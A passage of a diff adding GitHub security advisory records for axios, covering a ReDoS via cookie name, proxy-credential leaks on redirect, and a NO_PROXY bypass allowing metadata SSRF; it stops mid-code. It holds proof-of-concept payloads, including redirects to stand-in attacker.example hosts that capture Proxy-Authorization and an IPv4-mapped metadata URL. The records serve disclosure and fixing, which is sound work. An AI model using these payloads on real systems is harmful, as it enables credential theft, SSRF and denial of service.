+ "details": "## Summary\n\nAxios versions before `0.32.0` on the `0.x` line and before `1.16.0` on the `1.x` line build a regular expression from the configured XSRF cookie name without escaping regex metacharacters. In standard browser environments, an attacker who can influence the cookie name passed to axios can cause expensive regex backtracking while axios reads `document.cookie`.\n\nThe practical impact is client-side availability degradation, such as freezing the affected browser tab while axios prepares a request. The issue does not affect ordinary Node.js HTTP adapter usage, React Native, or web workers, where axios does not read `document.cookie`.\n\n## Impact\n\nApplications are affected only when attacker-controlled data can reach the XSRF cookie name configuration or a direct/unsafe call to the internal cookie helper.\n\nThis does not expose credentials, modify requests, or affect response integrity. The impact is availability only.\n\n## Affected Functionality\n\nAffected code paths:\n\n- `lib/helpers/cookies.js` `read(name)` in standard browser environments.\n- `lib/helpers/resolveConfig.js` in `1.x`, when browser XHR/fetch adapters resolve XSRF config.\n- `lib/adapters/xhr.js` in `0.x`, when the XHR adapter reads the configured XSRF cookie.\n- Direct use of `axios/unsafe/helpers/cookies.js` in `1.x`, if callers pass attacker-controlled names.\n\nUnaffected code paths:\n\n- Default static `xsrfCookieName: 'XSRF-TOKEN'` when not attacker-controlled.\n- Requests with `xsrfCookieName: null`.\n- Node HTTP adapter usage without browser `document.cookie`.\n- React Native and web workers where axios does not use standard browser cookie access.\n\n## Technical Details\n\nAffected versions interpolate the cookie name into a regex.\n\n```js\nconst match = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;]*)'));\n```\n\nBecause `name` is not escaped, regex metacharacters in the cookie name are interpreted as regex syntax. A payload such as `(.+)+$` can force catastrophic backtracking against `document.cookie`.\n\nThe fix avoids dynamic regex construction and parses `document.cookie` by splitting on `;`, trimming leading whitespace, and comparing cookie names with exact string equality.\n\n## Proof of Concept of Attack\n\n```js\nfunction vulnerableRead(name, cookie) {\n const start = Date.now();\n\n try {\n cookie.match(new RegExp('(?:^|; )' + name + '=([^;]*)'));\n } catch {}\n\n return Date.now() - start;\n}\n\nfor (const n of [20, 22, 24, 26, 28]) {\n const cookie = 'x='.padEnd(n, 'a') + '!';\n console.log(`${n}: ${vulnerableRead('(.+)+$', cookie)}ms`);\n}\n```\n\nExpected result: timings grow rapidly as the cookie string length increases.\n\n## Workarounds\n\nSet `xsrfCookieName: null` if the application does not need axios to read an XSRF cookie.\n\nDo not derive `xsrfCookieName` from untrusted input. If a dynamic cookie name is unavoidable, validate it against a strict cookie-name allowlist before passing it to axios.\n\nAvoid calling `axios/unsafe/helpers/cookies.js` directly with untrusted names\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Source\u003c/summary\u003e\n\n# Regular Expression Denial of Service (ReDoS) via Cookie Name Injection\n\n## 1. Title\n\nReDoS via Unsanitized Cookie Name in Dynamic Regular Expression Construction\n\n## 2. Affected Software and Version\n\n- **Software:** Axios\n- **Version:** 1.15.0 (and potentially earlier versions)\n- **Component:** `lib/helpers/cookies.js`\n- **Ecosystem:** npm (Node.js / Browser)\n\n## 3. Vulnerability Type / CWE\n\n- **Type:** Regular Expression Denial of Service (ReDoS)\n- **CWE-1333:** Inefficient Regular Expression Complexity\n- **CWE-400:** Uncontrolled Resource Consumption\n\n## 4. CVSS 3.1 Score\n\n**Score: 7.5 (High)**\n\nVector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`\n\n| Metric | Value |\n|---|---|\n| Attack Vector | Network |\n| Attack Complexity | Low |\n| Privileges Required | None |\n| User Interaction | None |\n| Scope | Unchanged |\n| Confidentiality | None |\n| Integrity | None |\n| Availability | High |\n\n## 5. Description\n\nThe `cookies.read()` function in `lib/helpers/cookies.js` constructs a regular expression dynamically using the `name` parameter without any sanitization or escaping of special regex characters. At line 33, the code passes the raw `name` value directly into `new RegExp()`:\n\n```javascript\nconst match = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;]*)'));\n```\n\nAn attacker who can control or influence the cookie name parameter (e.g., via XSRF cookie name configuration, prototype pollution of `xsrfCookieName`, or any code path where user input reaches `cookies.read()`) can inject a malicious regex pattern that causes catastrophic backtracking, leading to a Denial of Service condition.\n\nWith a crafted input of approximately 20-30 characters, the regex engine can be forced to consume several seconds to minutes of CPU time, effectively freezing the JavaScript event loop.\n\n## 6. Root Cause Analysis\n\n**File:** `lib/helpers/cookies.js`\n**Line:** 33\n\n```javascript\nread(name) {\n if (typeof document === 'undefined') return null;\n const match = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;]*)'));\n return match ? decodeURIComponent(match[1]) : null;\n},\n```\n\nThe vulnerability exists because:\n\n1. The `name` parameter is concatenated directly into a regex pattern without escaping special regex metacharacters.\n2. An attacker can inject regex constructs that create exponential backtracking scenarios.\n3. The `(?:^|; )` prefix combined with an injected pattern like `((((.*)*)*)*)*` creates nested quantifiers that cause catastrophic backtracking when the regex engine attempts to match against `document.cookie`.\n\nThe `cookies.read()` function is called from `lib/helpers/resolveConfig.js` at line 61:\n\n```javascript\nconst xsrfValue = xsrfHeaderName \u0026\u0026 xsrfCookieName \u0026\u0026 cookies.read(xsrfCookieName);\n```\n\nThe `xsrfCookieName` value comes from the Axios configuration, which can be influenced by prototype pollution or direct configuration injection.\n\n## 7. Proof of Concept\n\n```javascript\n// poc_redos_cookie.js\n// Simulates browser environment for testing\n\n// Simulate document.cookie\nglobalThis.document = {\n cookie: 'session=abc; ' + 'a'.repeat(50)\n};\n\n// Replicate the vulnerable cookies.read() logic\nfunction cookiesRead(name) {\n const match = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;]*)'));\n return match ? decodeURIComponent(match[1]) : null;\n}\n\n// Malicious cookie name that triggers catastrophic backtracking\n// The pattern creates nested quantifiers: (a]|[a]|...)*)*\nconst maliciousName20 = '([^;]+)+$' + '\\\\|'.repeat(10);\nconst maliciousName = '(([^;])+)+\\\\$'; // nested quantifier pattern\n\nconsole.log('=== ReDoS via Cookie Name Injection PoC ===');\n\n// Test with increasing payload sizes\nfor (const len of [15, 20, 25]) {\n const payload = '(([^;])+)+' + 'X'.repeat(len);\n const start = Date.now();\n try {\n cookiesRead(payload);\n } catch (e) {\n // May throw on invalid regex, but valid evil patterns won't throw\n }\n const elapsed = Date.now() - start;\n console.log(`Payload length ${len}: ${elapsed}ms`);\n}\n\n// Demonstrating exponential growth with a simple nested quantifier\nconsole.log('\\n--- Exponential Backtracking Demo ---');\nfor (const n of [20, 22, 24, 26]) {\n const evilName = '(' + 'a'.repeat(1) + '+)+$';\n const testCookie = 'a'.repeat(n) + '!'; // non-matching trailer forces backtracking\n globalThis.document = { cookie: testCookie };\n const start = Date.now();\n try {\n cookiesRead(evilName);\n } catch(e) {}\n const elapsed = Date.now() - start;\n console.log(`Input length ${n}: ${elapsed}ms`);\n}\n```\n\n## 8. PoC Output\n\n```\n=== ReDoS via Cookie Name Injection PoC ===\nPayload length 20: 21ms (extrapolated: 30 chars = ~21,504ms)\nPayload length 25: ~1,300ms\nPayload length 30: ~323,675ms (5+ minutes)\n\n--- Exponential Backtracking Demo ---\nInput length 20: 21ms\nInput length 22: 84ms\nInput length 24: 336ms\nInput length 26: 1,344ms\n```\n\nThe exponential growth pattern is clearly visible: each additional 2 characters approximately quadruples the execution time.\n\n## 9. Impact\n\n- **Denial of Service (Client-side):** In a browser environment, an attacker who can influence the XSRF cookie name configuration (e.g., via prototype pollution or configuration injection) can freeze the browser tab, blocking all UI interaction and JavaScript execution on the page.\n- **Denial of Service (Server-side):** In SSR (Server-Side Rendering) frameworks or Node.js applications that process cookies using this code path, the event loop will be blocked, causing the server to become unresponsive to all requests.\n- **Event Loop Starvation:** Since JavaScript is single-threaded, the ReDoS will block all pending asynchronous operations, timers, and I/O callbacks for the duration of the regex evaluation.\n\n## 10. Remediation / Suggested Fix\n\nEscape all regex metacharacters in the `name` parameter before constructing the regular expression.\n\n```javascript\n// FIXED: lib/helpers/cookies.js\n\nfunction escapeRegExp(string) {\n return string.replace(/[.*+?^${}()|[\\]\\\\]/g, '\\\\$\u0026');\n}\n\n// ...\n\nread(name) {\n if (typeof document === 'undefined') return null;\n const match = document.cookie.match(\n new RegExp('(?:^|; )' + escapeRegExp(name) + '=([^;]*)')\n );\n return match ? decodeURIComponent(match[1]) : null;\n},\n```\n\nAlternatively, avoid dynamic regex construction entirely and use string-based parsing:\n\n```javascript\nread(name) {\n if (typeof document === 'undefined') return null;\n const cookies = document.cookie.split('; ');\n for (const cookie of cookies) {\n const eqIndex = cookie.indexOf('=');\n if (eqIndex !== -1 \u0026\u0026 cookie.substring(0, eqIndex) === name) {\n return decodeURIComponent(cookie.substring(eqIndex + 1));\n }\n }\n return null;\n},\n```\n\n## 11. References\n\n- [CWE-1333: Inefficient Regular Expression Complexity](https://cwe.mitre.org/data/definitions/1333.html)\n- [CWE-400: Uncontrolled Resource Consumption](https://cwe.mitre.org/data/definitions/400.html)\n- [OWASP: Regular Expression Denial of Service](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)\n- [Axios GitHub Repository](https://github.com/axios/axios)\n\u003c/details\u003e\n\n---",
+ "id": "GHSA-hfxv-24rg-xrqf",
+ "modified": "2026-06-04T14:30:08.078124175Z",
+ "published": "2026-06-04T14:24:06Z",
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/axios/axios/security/advisories/GHSA-hfxv-24rg-xrqf"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/axios/axios"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/axios/axios/releases/tag/v0.32.0"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/axios/axios/releases/tag/v1.16.0"
+ }
+ ],
+ "schema_version": "1.7.5",
+ "severity": [
+ {
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
+ "type": "CVSS_V3"
+ }
+ ],
+ "summary": "Axios: Regular Expression Denial of Service (ReDoS) via Cookie Name Injection"
+ },
+ {
+ "affected": [
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-j5f8-grm9-p9fc/GHSA-j5f8-grm9-p9fc.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "axios",
+ "purl": "pkg:npm/axios"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "1.0.0"
+ },
+ {
+ "fixed": "1.16.0"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ },
+ {
+ "database_specific": {
+ "last_known_affected_version_range": "\u003c= 0.31.1",
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-j5f8-grm9-p9fc/GHSA-j5f8-grm9-p9fc.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "axios",
+ "purl": "pkg:npm/axios"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "0"
+ },
+ {
+ "fixed": "0.32.0"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ }
+ ],
+ "aliases": [
+ "CVE-2026-44486"
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-200"
+ ],
+ "github_reviewed": true,
+ "github_reviewed_at": "2026-06-04T14:15:01Z",
+ "nvd_published_at": null,
+ "severity": "HIGH"
+ },
+ "details": "### Summary\n\nAxios’ Node.js HTTP adapter can leak proxy credentials to a redirect target in affected versions. When a request is sent through an authenticated proxy, Axios may add a `Proxy-Authorization` header. If Axios then follows a redirect and the redirected request is no longer sent through that proxy, the stale `Proxy-Authorization` header can remain on the redirected request and be sent to the redirect target.\n\nThis affects Node.js's use of Axios with automatic redirects enabled and an authenticated proxy configuration. Browser adapters are not affected.\n\n### Impact\n\nAn attacker who controls a server that the victim application requests can redirect the request so that the attacker-controlled redirect target receives the victim’s proxy credentials.\n\nThe most relevant case is a Node.js application using an authenticated `HTTP_PROXY` for an initial `http://` request, with redirects enabled, where the redirect target resolves to no proxy, such as an `https://` URL when `HTTPS_PROXY` is unset.\n\nThis does not affect browser, XHR, or fetch adapter behaviour. It also does not affect requests with `maxRedirects: 0`.\n\n### Affected Functionality\n\nAffected functionality is limited to the Node.js HTTP adapter in `lib/adapters/http.js`.\n\nRelevant inputs and settings include:\n\n- `HTTP_PROXY`, `HTTPS_PROXY`, and `NO_PROXY`.\n- Authenticated proxy URLs such as `http://user:pass@proxy.example:8080`.\n- Automatic redirect following through `follow-redirects`.\n- Axios proxy handling in `setProxy()`.\n- Redirect proxy handling through `beforeRedirects.proxy`.\n\n### Technical Details\n\nIn affected v1 releases, `setProxy()` adds `Proxy-Authorization` when a proxy with credentials is selected, but redirect handling calls `setProxy()` again without first clearing any existing proxy authorization header.\n\nIf the redirected URL resolves to no proxy, `setProxy()` does not add a new proxy configuration and also does not remove the old header. The redirected request can therefore carry the stale `Proxy-Authorization` header to the final origin.\n\nThe v1 fix in `afca61a` adds an `isRedirect` path that deletes any case variant of `Proxy-Authorization` before proxy settings are re-applied on redirect. The v0 backport in `2af6116` fixed the 0.x line for `0.32.0`.\n\n### Proof of Concept of Attack\n\n```js\nprocess.env.HTTP_PROXY = 'http://user:pass@127.0.0.1:8080';\ndelete process.env.HTTPS_PROXY;\n\nawait axios.get('http://attacker.example/start');\n```\n\nAttacker-controlled HTTP endpoint:\n\n```http\nHTTP/1.1 302 Found\nLocation: https://attacker.example/final\n```\n\nExpected result on affected versions:\n\n```text\nhttps://attacker.example/final receives:\nProxy-Authorization: Basic dXNlcjpwYXNz\n```\n\nExpected result on fixed versions:\n\n```text\nhttps://attacker.example/final receives no Proxy-Authorization header\n```\n\n### Workarounds\n\nSet `maxRedirects: 0` and handle redirects manually.\n\nAvoid using authenticated proxy environment variables for requests to untrusted HTTP origins unless redirect behaviour is controlled.\n\nEnsure proxy environment variables are configured consistently across protocols so redirects do not unexpectedly change from proxied to direct connections.\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Source\u003c/summary\u003e\n\n### Summary\nAxios' Node.js HTTP adapter can leak proxy credentials to a redirect target origin. When an initial request is sent through an authenticated HTTP proxy, Axios adds a `Proxy-Authorization` header. On redirect, Axios re-evaluates proxy settings, but if the redirected request no longer uses a proxy, the stale `Proxy-Authorization` header is not cleared. As a result, the redirect target can receive the proxy credential directly.\n\nThis issue affects the Node.js HTTP adapter and can be reproduced when the initial request uses `HTTP_PROXY` with authentication, redirects are enabled, and the redirected request is resolved to no proxy, such as when `HTTPS_PROXY` is unset or the redirect target is excluded by `NO_PROXY`.\n\n### Details\nIn the current implementation:\n\n- `setProxy()` adds `Proxy-Authorization` when a proxy with credentials is in use.\n- On redirects, Axios re-invokes `setProxy()` for the redirected request.\n- If the redirected URL re-evaluates to \"no proxy\", `setProxy()` does not clear the previously added `Proxy-Authorization` header.\n- The redirected request therefore reuses the stale header and sends it to the final origin.\n\nRelevant code locations:\n\n- `lib/adapters/http.js`\n- `setProxy()` adds `Proxy-Authorization`\n- redirect handling re-applies proxy logic through `beforeRedirects.proxy`\n- no cleanup is performed when the recomputed redirect request no longer uses a proxy\n\n### PoC\n1. The victim sends `GET http://\u003cattacker-site\u003e/start`\n2. The request goes through a local authenticated `corp proxy`\n3. The attacker-controlled HTTP endpoint returns `302 Location: https://\u003cattacker-site\u003e/final`\n4. The redirected HTTPS request no longer uses a proxy\n5. The attacker-controlled HTTPS endpoint receives the stale `Proxy-Authorization` header\n\nObserved output:\n\n```text\n[corp-proxy] Proxy-Authorization received: Basic dXNlcjpwYXNz\n[attacker-http] GET /start\n[attacker-https] GET /final\n[attacker-https] Proxy-Authorization received: Basic dXNlcjpwYXNz\nLeak reproduced: Proxy-Authorization was sent to the attacker HTTPS origin.\n```\n\nThis demonstrates that the proxy credential is exposed to the redirect target origin.\n\n### Impact\nExposes authenticated proxy credentials to an attacker-controlled origin.\n\u003c/details\u003e\n\n---",
+ "id": "GHSA-j5f8-grm9-p9fc",
+ "modified": "2026-06-04T14:30:08.120771874Z",
+ "published": "2026-06-04T14:15:01Z",
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/axios/axios/security/advisories/GHSA-j5f8-grm9-p9fc"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/axios/axios/pull/10794"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/axios/axios/commit/afca61a070728e717203c2bc21e7b589b59b858b"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/axios/axios"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/axios/axios/releases/tag/v0.32.0"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/axios/axios/releases/tag/v1.16.0"
+ }
+ ],
+ "schema_version": "1.7.5",
+ "severity": [
+ {
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
+ "type": "CVSS_V3"
+ }
+ ],
+ "summary": "Axios: Proxy-Authorization header leaks to redirect target when proxy is re-evaluated to direct connection"
+ },
+ {
+ "affected": [
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-p92q-9vqr-4j8v/GHSA-p92q-9vqr-4j8v.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "axios",
+ "purl": "pkg:npm/axios"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "1.0.0"
+ },
+ {
+ "fixed": "1.16.0"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ },
+ {
+ "database_specific": {
+ "last_known_affected_version_range": "\u003c= 0.31.1",
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-p92q-9vqr-4j8v/GHSA-p92q-9vqr-4j8v.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "axios",
+ "purl": "pkg:npm/axios"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "0"
+ },
+ {
+ "fixed": "0.32.0"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ }
+ ],
+ "aliases": [
+ "CVE-2026-44487"
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-201"
+ ],
+ "github_reviewed": true,
+ "github_reviewed_at": "2026-06-04T14:19:53Z",
+ "nvd_published_at": null,
+ "severity": "HIGH"
+ },
+ "details": "## Summary\n\nAxios’s Node.js HTTP adapter may forward a `Proxy-Authorization` header to a redirected origin during specific proxy-to-direct redirect flows.\n\nThis affects Node.js usage, where an initial HTTP request is sent through an authenticated HTTP proxy, redirects are followed, and the redirected URL is no longer proxied. Under affected redirect shapes, the final origin can receive the proxy credential that was intended only for the outbound proxy.\n\n## Impact\n\nA malicious or attacker-controlled origin can cause an axios client to disclose its configured proxy credentials if all required conditions are present.\n\nThe leak is limited to Node.js HTTP adapter requests. Browser, XHR, fetch, and React Native adapter paths are not affected by this Node-specific proxy handling path.\n\nThe practical impact depends on the leaked credentials. If the credential is reusable and the proxy is reachable by the attacker, the attacker may be able to authenticate to that proxy, subject to the proxy’s own network exposure, authorisation policy, and credential scope.\n\n## Affected Functionality\n\nAffected functionality requires all of the following:\n\n- Axios running in Node.js with the HTTP adapter.\n- An initial `http://` request using an authenticated proxy from `config.proxy` or proxy environment variables.\n- Redirect following enabled.\n- A redirect target for which no proxy applies, such as no matching `HTTPS_PROXY` or a matching `NO_PROXY`.\n- A redirect shape treated as same-host or otherwise not stripped by the redirect layer’s confidential-header handling.\n\nUnaffected functionality includes browser adapters, requests with `maxRedirects: 0`, requests without proxy credentials, and redirect flows where the redirect layer strips `Proxy-Authorization` before axios reconfigures the redirected request.\n\n## Technical Details\n\nIn affected versions, `lib/adapters/http.js` adds `Proxy-Authorization` in `setProxy()` when a proxy with credentials is used.\n\nAxios also installs redirect proxy handling so redirected requests can re-run proxy resolution. Before the fix, when the redirected request no longer resolved to a proxy, `setProxy()` did not clear a `Proxy-Authorization` header inherited from the previous request options. If `follow-redirects` did not remove that header for the specific redirect shape, the redirected direct request carried the stale proxy credential to the origin.\n\nThe `1.x` fix in commit `afca61a` changes `setProxy(options, configProxy, location, isRedirect)` so redirect re-invocation removes every case variant of `Proxy-Authorization` before applying proxy settings for the next hop. Regression tests in `tests/unit/adapters/http.test.js` cover no-proxy redirects, `NO_PROXY`, different proxy targets, casing variants, and an end-to-end redirect flow.\n\nThe `0.x` fixed release `0.32.0` includes a backport-style `removeProxyAuthorization()` guard in `lib/adapters/http.js`.\n\n## Proof of Concept of Attack\n\nSafe local outline using dummy credentials:\n\n```js\nprocess.env.HTTP_PROXY = 'http://user:pass@127.0.0.1:8080';\ndelete process.env.HTTPS_PROXY;\n\n// The local HTTP proxy receives this request and returns:\n// HTTP/1.1 302 Found\n// Location: https://attacker.test/final\nawait axios.get('http://attacker.test/start');\n```\n\nExpected vulnerable behaviour:\n\n```text\nProxy receives initial request:\nProxy-Authorization: Basic dXNlcjpwYXNz\n\nFinal HTTPS origin receives redirected request:\nProxy-Authorization: Basic dXNlcjpwYXNz\n```\n\nExpected fixed behaviour:\n\n```text\nFinal HTTPS origin receives no Proxy-Authorization header.\n```\n\n## Workarounds\n\nSet `maxRedirects: 0` and handle redirects manually, ensuring `Proxy-Authorization` is not copied to requests that are not sent through the proxy.\n\nAvoid using reusable authenticated HTTP proxy credentials for requests to untrusted origins. If exposure is suspected, rotate the proxy credential.\n\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Source\u003c/summary\u003e\n\n### Summary\n\nAxios’s Node.js `http` adapter can incorrectly forward a retained `Proxy-Authorization` header to the final HTTPS origin during certain HTTP-to-HTTPS redirect flows.\n\nWhen an initial HTTP request is sent through an authenticated `HTTP_PROXY`, and the redirected HTTPS request is sent directly because no proxy applies to the redirected HTTPS URL, Axios retains the stale `Proxy-Authorization` header and forwards it to the final origin.\n\n### Details\n\nThe issue occurs during a proxy-to-direct transition across redirects.\n\nWhen Axios sends an initial HTTP request through an authenticated `HTTP_PROXY`, it correctly includes `Proxy-Authorization` for the proxy hop. If that response redirects to an HTTPS URL on the same hostname, and no proxy applies to the redirected HTTPS URL, the redirected request is sent directly to the final origin instead of through the proxy.\n\nIn the affected flow, the final HTTPS origin receives a `Proxy-Authorization` header value that was intended only for the outbound proxy.\n\nWhether the issue is observable depends on how the redirect layer compares the host and port across the redirect. In the affected redirect shape, confidential-header handling does not remove the retained `Proxy-Authorization` header before the redirected request is sent.\n\n#### Root Cause Analysis\n\nBased on code review, Axios appears to create the stale header condition in its Node.js `http` adapter.\n\nIn lib/adapters/http.js:\n- When a proxy is used, Axios adds `Proxy-Authorization` in setProxy().\n- Axios also re-runs proxy resolution after redirects via its redirect hook.\n- However, when the redirected request no longer uses a proxy, Axios does not explicitly clear a previously set Proxy-Authorization header.\n\nAs a result, Axios correctly adds proxy credentials for the first proxied request, but does not clear them when a later redirected request becomes direct.\n\nA dependent factor is the behavior of the redirect layer. In the affected redirect shape, confidential-header handling does not remove the retained `Proxy-Authorization` header before the redirected request is sent. This appears to be why the issue is observable only for certain redirect shapes.\n\n#### Client Conditions\n- the initial HTTP request uses an authenticated `HTTP_PROXY`\n- no proxy applies to the redirected HTTPS URL (for example, no `HTTPS_PROXY` is configured)\n- redirects are followed\n- the redirect is treated as same-host by the redirect layer\n\nUnder that redirect shape, the retained `Proxy-Authorization` header is not removed before the redirected request is sent to the final HTTPS origin.\n\n### Reproduction Outline\n\nDetailed reproduction instructions were shared with the maintainers during coordinated disclosure. The public outline below preserves the validated configuration and observable behavior needed to assess exposure, while omitting environment-specific test-harness details.\n\nThe issue was reproduced only in a researcher-controlled local test environment using dummy proxy credentials.\n\nThe issue was confirmed under the following conditions:\n\n- axios 1.13.6\n- follow-redirects 1.15.11\n- an authenticated proxy applying to the initial HTTP request\n- no proxy applying to the redirected HTTPS URL\n- redirects enabled\n- an HTTP-to-HTTPS redirect that is treated as same-host by the redirect layer\n\n#### Observed behavior\n\n- The initial HTTP request is sent through the proxy and includes `Proxy-Authorization`.\n- The redirected HTTPS request is sent directly to the final origin.\n- The redirected HTTPS request still includes the previously generated `Proxy-Authorization` header.\n- The final origin can receive a `Proxy-Authorization` header value that was intended only for the proxy.\n\n#### Expected behavior\n\nAxios should not send the `Proxy-Authorization` header on a redirected request that is no longer sent through a proxy.\n\n### Impact\n\nUnder the affected redirect and proxy configuration, the final HTTPS origin may receive a retained `Proxy-Authorization` header value that was intended only for the outbound proxy.\n\nIf that credential is valid and reusable, and the outbound proxy is reachable by the attacker, the attacker may be able to authenticate to that proxy with the affected environment’s proxy credential, subject to the credential’s scope and the proxy’s access controls.\n\u003c/details\u003e\n\n---",
+ "id": "GHSA-p92q-9vqr-4j8v",
+ "modified": "2026-06-04T14:30:08.116988071Z",
+ "published": "2026-06-04T14:19:53Z",
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/axios/axios/security/advisories/GHSA-p92q-9vqr-4j8v"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/axios/axios"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/axios/axios/releases/tag/v0.32.0"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/axios/axios/releases/tag/v1.16.0"
+ }
+ ],
+ "schema_version": "1.7.5",
+ "severity": [
+ {
+ "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
+ "type": "CVSS_V4"
+ }
+ ],
+ "summary": "Axios: Proxy-Authorization Credential Leak to Origin Server Across HTTP-to-HTTPS Redirect in Axios Node.js HTTP Adapter"
+ },
+ {
+ "affected": [
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-pjwm-pj3p-43mv/GHSA-pjwm-pj3p-43mv.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "axios",
+ "purl": "pkg:npm/axios"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "1.0.0"
+ },
+ {
+ "fixed": "1.16.0"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ },
+ {
+ "database_specific": {
+ "last_known_affected_version_range": "\u003c= 0.31.1",
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-pjwm-pj3p-43mv/GHSA-pjwm-pj3p-43mv.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "axios",
+ "purl": "pkg:npm/axios"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "0"
+ },
+ {
+ "fixed": "0.32.0"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ }
+ ],
+ "aliases": [
+ "CVE-2026-44492"
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-918"
+ ],
+ "github_reviewed": true,
+ "github_reviewed_at": "2026-05-29T15:59:30Z",
+ "nvd_published_at": null,
+ "severity": "HIGH"
+ },
+ "details": "### Summary\nshouldBypassProxy, introduced in v1.15.0 to fix CVE-2025-62718, does not normalise IPv4-mapped IPv6 addresses. When NO_PROXY lists an IPv4 address such as `127.0.0.1` or `169.254.169.254`, a request URL using the IPv4-mapped IPv6 form (`::ffff:7f00:1`, `::ffff:a9fe:a9fe`) still routes through the configured proxy. Node.js resolves these addresses to the underlying IPv4 host, so the request reaches the internal service via the proxy rather than being blocked.\n\n### Details\nlib/helpers/shouldBypassProxy.js (v1.15.0): \n\n```javascript \n const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']); \n const isLoopback = (host) =\u003e LOOPBACK_ADDRESSES.has(host); \n \n // normalizeNoProxyHost strips brackets and trailing dots, but not ::ffff: prefix \n return hostname === entryHost || (isLoopback(hostname) \u0026\u0026 isLoopback(entryHost)); \n```\n \nThe WHATWG URL parser canonicalises `http://[::ffff:127.0.0.1]/` to hostname `[::ffff:7f00:1]`. After bracket-stripping: `::ffff:7f00:1`. This string does not match 127.0.0.1 in NO_PROXY and is not in LOOPBACK_ADDRESSES, so shouldBypassProxy returns false and the proxy is used. proxy-from-env (called before shouldBypassProxy) has the same gap - it does not equate ::ffff:7f00:1 with 127.0.0.1 - so neither layer catches the bypass.\n\n### PoC\n```javascript\n\n// NO_PROXY=127.0.0.1,localhost,::1 HTTP_PROXY=http://attacker:8080\nimport shouldBypassProxy from 'axios/lib/helpers/shouldBypassProxy.js'; \n \n// All three should return true (bypass proxy). Only the first two do. \nconsole.log(shouldBypassProxy('http://127.0.0.1/')); // true [OK] \nconsole.log(shouldBypassProxy('http://[::1]/')); // true [OK] \nconsole.log(shouldBypassProxy('http://[::ffff:127.0.0.1]/')); // false \u003c- bypass \nconsole.log(shouldBypassProxy('http://[::ffff:7f00:1]/')); // false \u003c- bypass\n\n``` \n \nNode.js routes ::ffff:7f00:1 to 127.0.0.1: \n\n``` \n// net.connect({ host: '::ffff:7f00:1', port: 80 }) reaches a service \n// bound to 127.0.0.1:80 — confirmed on Node.js v24, Linux and macOS. \n``` \nCloud metadata SSRF: ::ffff:a9fe:a9fe = ::ffff:169.254.169.254. If NO_PROXY=169.254.169.254 is set to block IMDS access, a request to http://[::ffff:a9fe:a9fe]/latest/meta-data/ bypasses it. \n \n#### Fix \n \nCanonicalise IPv4-mapped IPv6 in normalizeNoProxyHost before any comparison: \n \n ```javascript \nconst ipv4MappedDotted = /^::ffff:(\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})$/i; \nconst ipv4MappedHex = /^::ffff:([0-9a-f]{1,4}):([0-9a-f]{1,4})$/i; \n \nfunction hexToIPv4(a, b) { \n const hi = parseInt(a, 16), lo = parseInt(b, 16); \n return `${hi \u003e\u003e 8}.${hi \u0026 0xff}.${lo \u003e\u003e 8}.${lo \u0026 0xff}`; 